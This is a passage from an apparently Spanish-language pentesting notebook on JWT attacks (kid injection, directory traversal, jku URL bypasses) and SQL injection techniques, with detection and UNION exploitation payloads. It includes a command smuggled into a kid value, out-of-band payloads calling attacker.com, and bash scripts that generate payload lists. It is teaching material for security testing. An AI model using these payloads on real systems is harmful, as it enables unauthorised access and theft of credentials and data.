Normalmente las librerías comprueban el algoritmo de la siguiente manera:

* HMAC. `verify(token, secret)`.
* RSA o similar. `verify(token, secret)`.

### Ataques contra JWT <a href="#ataques-contra-jwt" id="ataques-contra-jwt"></a>

#### Inyección en parámetro *kid* <a href="#inyeccion-en-parametro-kid" id="inyeccion-en-parametro-kid"></a>

Si la cabecera contiene el parámetro `kid`, este normalmente es usado para obtener la clave de una base de datos o sistema de ficheros. La aplicación verifica la firma utilizando la clave obtenida en este parámetro.

Si el parámetro es inyectable, este podría ser utilizado para saltarse la firma o realizar ataques de RCE, SQLi o LFI.

**EJEMPLO**

**JWT Original**

```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key"
}.
{
  "name": "Jennifer Torres",
  "user_name": "jennifer.torres",
  "is_admin": false
}
```

**JWT con inyección**

```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key|/usr/bin/uname"
}.
{
  "name": "Jennifer Torres",
  "user_name": "jennifer.torres",
  "is_admin": false
}
```

#### Bypass de la firma <a href="#bypass-de-la-firma" id="bypass-de-la-firma"></a>

**INYECCIÓN EN PARÁMETRO&#x20;*****KID*****&#x20;+&#x20;*****DIRECTORY TRAVERSAL***

Si la aplicación utiliza el parámetro *kid* como valor de la clave utilizada para validar la firma, un atacante podría modificarlo por un fichero con el valor de la clave, por ejemplo, `/dev/null` y con ello saltársela.

**Ejemplo**

```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../dev/null"
}.
{
  "name": "Jennifer Torres",
  "user_name": "jennifer.torres",
  "is_admin": true
}
```

**INYECCIÓN EN PARÁMETRO&#x20;*****KID*****&#x20;+&#x20;*****INYECCIÓN SQL***

Si la aplicación utiliza el parámtro *kid* para obtener la información de la base de datos como la clave de la firma, se podría intentar inyectar código SQL.

**Ejemplo de consulta SQL**

```
SELECT key FROM keys WHERE key='key'
```

**Ejemplo de inyección SQL en&#x20;*****kid***

```
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "test' UNION SELECT 'aaaa"
}.
{
  "name": "Jennifer Torres",
  "user_name": "jennifer.torres",
  "is_admin": true
}
```

**Consulta con inyección en&#x20;*****kid***

```
SELECT key FROM keys WHERE key='test' UNION SELECT 'aaaa'
```

La inyección `' UNION SELECT 'aaaa` permite a un atacante sustituir la clave por `aaaa` y con ello firmar el token con dicha clave para saltarse la firma.

#### Manipulación del parámetro *jku* <a href="#manipulacion-del-parametro-jku" id="manipulacion-del-parametro-jku"></a>

Este parámetro se utiliza para especificar el *JSON Web Key Set URL* ([RFC7515](https://datatracker.ietf.org/doc/html/rfc7515#section-4.1.2)), que indica donde se encuentra el *JSON Web Key* utilizado para verificar la firma.

**Ejemplo de JWT con&#x20;*****jku***

```
{
  "alg": "RS256",
  "typ": "JWT",
  "jku":"https://example.com/key.json"
}.
{
  "name": "Jennifer Torres",
  "user_name": "jennifer.torres",
  "is_admin": false
}
```

**Ejemplo de&#x20;*****JSON Web Key*****&#x20;(fichero key.json)**

```
{
  "kty": "RSA",
  "n": "-4KIwb83vQMH0YrzE44HppWvyNYmyuznuZPKWFt3e0xmdi-WcgiQZ1TC...RMxYC9lr4ZDp-M0",
  "e": "AQAB"
}
```

**FORMAS DE SALTARSE LAS LIMITACIONES**

* Utilizando `https://xtormin` si la aplicación solo comprueba el inicio de la URL (ej: `https://xtormin@attacker.com/key.json`).
* Utilizando fragmentos con el caracter `#`.
* Utilizando la jerarquía de nombres DNS.
* Concatenándolo con *open redirect*, *header injection* o *ssrf*.

\### Prevención

Para prevenirlo, se debe:

* Filtrar la URL correctamente.
* Añadir los hosts permitidos en *whitelist*.
* Prevenir otros ataques que puedan ser concatenados para saltarse las restricciones.

### Herramientas <a href="#herramientas" id="herramientas"></a>

### JWT Tool <a href="#jwt-tool" id="jwt-tool"></a>

<https://github.com/ticarpi/jwt_tool.git>

#### Extensión de Burp <a href="#extension-de-burp" id="extension-de-burp"></a>

JSON Web Token Attacker - JOSEPH

### Securización <a href="#securizacion" id="securizacion"></a>

### Recursos <a href="#recursos" id="recursos"></a>

#### Vídeos <a href="#videos" id="videos"></a>

* [Modern Webapp Pentesting: How to Attack a JWT](https://www.youtube.com/watch?v=muYmiEtPL8U).


# Inyección


# Inyección SQL

## <mark style="color:red;">¿Qué es?</mark>

**SQL Injection (SQLi)** es una vulnerabilidad de inyección que ocurre cuando una aplicación permite que entradas no confiables del usuario se incorporen directamente en una consulta SQL sin un adecuado filtrado o parametrización. Esto permite a un atacante alterar la lógica de la consulta y ejecutar comandos arbitrarios sobre la base de datos.

## <mark style="color:red;">Impacto</mark>

El impacto varía según los permisos del usuario de base de datos y la estructura de la aplicación. Un ataque exitoso puede permitir:

* Acceso no autorizado a datos confidenciales (usuarios, contraseñas, tarjetas, etc.).
* Modificación o eliminación de información (violación de integridad).
* Ejecución remota de comandos en el servidor si hay funciones peligrosas habilitadas (por ejemplo, `xp_cmdshell`, `LOAD_FILE()`).
* Escalada de privilegios dentro del sistema.
* Persistencia o movimiento lateral si se logra interacción con el sistema operativo.

## <mark style="color:red;">Tipos de SQLi</mark>

<table><thead><tr><th width="158.44439697265625">Tipo</th><th>Descripción</th></tr></thead><tbody><tr><td><strong>Error-Based</strong></td><td>Aprovecha errores devueltos por el servidor para extraer información</td></tr><tr><td><strong>Union-Based</strong></td><td>Usa <code>UNION SELECT</code> para fusionar resultados visibles con datos arbitrarios.</td></tr><tr><td><strong>Boolean-Based Blind</strong></td><td>Evalúa condiciones lógicas (TRUE/FALSE).</td></tr><tr><td><strong>Time-Based Blind</strong></td><td>Mide el tiempo de respuesta usando funciones como <code>SLEEP()</code> o <code>WAITFOR DELAY</code>.</td></tr><tr><td><strong>Out-of-Band (OOB)</strong></td><td>Extrae datos usando canales externos (DNS, HTTP). Útil cuando no hay respuesta visible.</td></tr><tr><td><strong>Second-Order SQL Injection</strong></td><td>El payload malicioso no se ejecuta inmediatamente, sino que se almacena en la base de datos y se ejecuta más tarde cuando otro proceso o funcionalidad lo utiliza.</td></tr><tr><td><strong>Stacked Queries Injection</strong></td><td>Permite ejecutar múltiples consultas en una misma petición separadas por ;. Solo funciona si el motor de base de datos y el backend lo permiten.</td></tr><tr><td><strong>SQLi en funciones de búsqueda o LIKE</strong></td><td>Algunos motores permiten comodines como %, _, o expresiones regulares que se pueden manipular para modificar el resultado.</td></tr><tr><td><strong>NoSQL Injection</strong></td><td>Inyección en sistemas como MongoDB, Redis, etc., que no usan SQL pero tienen estructuras manipulables.</td></tr><tr><td><strong>ORM Injection (Object-Relational Mapping)</strong></td><td>Manipulación de consultas a través de funciones de ORM mal configuradas. Algunos ORMs construyen dinámicamente consultas SQL si el input no está controlado.</td></tr><tr><td><strong>GraphQL Injection</strong></td><td>Si el backend usa SQL internamente, los inputs no filtrados en queries GraphQL pueden inyectar SQL.</td></tr><tr><td><strong>Blind Response-Based (No-Error)</strong></td><td>Variante donde no hay errores, ni retardo, ni diferencias booleanas evidentes. Se requiere analizar cambios muy sutiles en contenido o estructura de la respuesta.</td></tr></tbody></table>

## <mark style="color:red;">Cómo detectarlo</mark>

Puedes detectar SQLi de forma manual o automatizada. A continuación, se resumen las técnicas clave:

### **Pruebas manuales**

#### **Error-Based SQLi**

Inyección básica con comillas:

* Enviar `'` o `''`, esperando errores como:\
  *You have an error in your SQL syntax*, *unclosed quotation mark*, etc.

#### **Union-Based SQLi**

* Probar con `UNION SELECT` y observar si los datos inyectados se reflejan en la respuesta (`' UNION SELECT null, version()--`).

#### **Boolean-based**

* Inyectar condiciones lógicas que alteren la lógica de la consulta y comparar respuestas:
  * `' OR 1=1 --` (devuelve resultados)
  * `' OR 1=2 --` (no devuelve resultados)

#### **Time-based**

* Inyectar funciones de retardo y medir el tiempo de respuesta:
  * `'; WAITFOR DELAY '00:00:05'--` (MS SQL)
  * `' OR SLEEP(5)#` (MySQL/PostgreSQL)
* Si el tiempo de respuesta se ve afectado, puede indicar ejecución de la consulta.

#### **Out-of-band (OAST)**

* Usar payloads que generen peticiones DNS/HTTP a un servidor controlado por el atacante (OAST/Burp Collaborator):
  * `'; exec master..xp_dirtree '\\attacker.com\foo'--`
  * `' OR LOAD_FILE('\\attacker.com\data') --`

#### **Second-Order SQL Injection**

Por ejemplo, inyectar `abc' OR '1'='1` en un campo de perfil que luego se usa en una búsqueda interna sin escapar.

{% hint style="info" %}

* **Error-Based y Union-Based**: suelen ser los más fáciles de detectar, pero dependen de que el servidor devuelva errores o datos inyectados visiblemente.
* **Blind SQLi (boolean/time)**: se detectan comparando comportamientos, no respuestas directas.
* **Out-of-Band (OOB)**: son útiles en entornos muy restringidos donde no se puede obtener respuesta visible o por tiempo. Requieren infraestructura externa (servidor DNS/HTTP atacante).
  {% endhint %}

### **Pruebas automáticas**

Con el uso de herramientas como:

* sqlmap
* Burp Suite + extensiones (SQLiPy, Turbo Intruder).
* jSQL, NoSQLMap (para entornos NoSQL).

## <mark style="color:red;">Explotación de inyecciones SQL</mark>

### Inyección SQL en WHERE

Ejemplo 1 - Funcionalidad de filtrado: [Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data)

### Inyección SQL de evasión de inicio de sesión

Ejemplo 1 - Funcionalidad de inicio de sesión: [Lab: SQL injection vulnerability allowing login bypass](/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-allowing-login-bypass)

### Ataque UNION

Si una aplicación es vulnerable a inyección SQL **y devuelve los resultados de las consultas en la respuesta**, puedes aprovechar la cláusula `UNION` para volcar información de otras tablas de la base de datos.

Este tipo de ataque permite concatenar múltiples consultas `SELECT` y fusionar sus resultados en un único output, siempre que:

* El número de columnas coincida.
* Los tipos de datos sean compatibles por posición.

Ejemplo:

```sql
SELECT a, b FROM tabla1
UNION
SELECT c, d FROM tabla2
```

Devuelve un resultado combinado de dos columnas con datos de ambas tablas.

#### ¿Qué es necesario saber antes de explotar `UNION`?

1. **Número exacto de columnas** que devuelve la consulta original.
2. **Qué columnas son imprimibles**, es decir, aceptan datos visibles (strings, números, etc.).

Una vez tengas eso, se puede inyectar, por ejemplo:

```sql
' UNION SELECT null, password FROM users--
```

Y obtener credenciales, tokens o lo que se encuentre en la base de datos, y tengamos permiso para obtener. Esto dependerá de los permisos del usuario de la base de datos.

#### Cómo identificar el número de columnas en una inyección SQL

**>> ORDER BY**

Inyecta cláusulas `ORDER BY` incrementales y observa la respuesta:

```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...
```

Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):

```bash
for i in {1..20}; do echo "' ORDER BY "$i"--"; done > /tmp/orderby.txt
```

Cuando el número excede las columnas reales, la base de datos lanza un error (ej: The ORDER BY position number 4 is out of range...), se obtiene una respuesta con un código de error (ej: 500), se observan diferencias en el tamaño de respuesta u otra diferencia que permita identificar un comportamiento no esperado de la aplicación.

**>> UNION**

Inyecta varios `NULL` y aumenta hasta que no haya error:

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...
```

Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):

{% code overflow="wrap" %}

```bash
for i in {1..20}; do echo "' UNION SELECT $(yes NULL | head -n $i | paste -sd,)--"; done > /tmp/unionselect.txt
```

{% endcode %}

> Se usa `NULL` porque es **compatible con cualquier tipo de dato**, lo que evita errores por incompatibilidad.

{% hint style="info" %}
**¿Qué se debe observar?**

* **Errores explícitos** en la respuesta HTTP.
* **Cambios en el contenido** (como una fila adicional).
* **Errores silenciosos** que provocan páginas vacías, render roto o ausencia de resultados.
  {% endhint %}

<details>

<summary>Ejemplos de explotación</summary>

* [Lab: SQL injection UNION attack, determining the number of columns returned by the query](/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query)

</details>

#### Cómo identificar las columnas que permiten insertar texto en una inyección SQL UNION

Para ello, es necesario insertar una cadena en cada una de las columnas a probar. Por ejemplo, si el número de columnas obtenido es 3:

```sql
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
```

Como el número de columnas cambia, se puede generar una lista a partir del número de columnas deseado usando el siguiente script:

```bash
#!/bin/bash

# Número de columnas totales
columnas=3  # Puedes cambiar este valor

for i in $(seq 1 $columnas); do
  payload="' UNION SELECT "
  for j in $(seq 1 $columnas); do
    if [ "$j" -eq "$i" ]; then
      payload+="'a'"
    else
      payload+="NULL"
    fi
    [ "$j" -lt "$columnas" ] && payload+=","
  done
  payload+="--"
  echo "$payload"
done
```

Lo mismo, pero en oneliner:

{% code overflow="wrap" %}

```bash
cols=3; for i in $(seq 1 $cols); do echo "' UNION SELECT $(for j in $(seq  1 $cols); do [ $j -eq $i ] && echo -n "'a'" || echo -n "NULL"; [ $j -lt $cols ] && echo -n ","; done)--"; done
```

{% endcode %}

<details>

<summary>Ejemplos de explotación</summary>

* [Lab: SQL injection UNION attack, finding a column containing text](/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-finding-a-column-containing-text)

</details>

#### Cómo insertar múltiples valores en una misma columna

Esto es útil cuando la tabla de la consulta solo cuenta con una columna. Para ello, necesitamos concatenar varias columnas en una única columna para poder mostrar el contenido:

```sql
' UNION SELECT username || '~' || password FROM users--
```

<details>

<summary>Ejemplos de explotación</summary>

* [Lab: SQL injection UNION attack, retrieving multiple values in a single column](/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-retrieving-multiple-values-in-a-single-column)
* <https://hackerone.com/reports/1046084>

</details>

### Inyección a ciegas SQL booleana (Blind SQL) <a href="#blind-sql-injection" id="blind-sql-injection"></a>

PENDIENTE.<br>


# Javascript




---

[Next Page](/llms-full.txt/1)

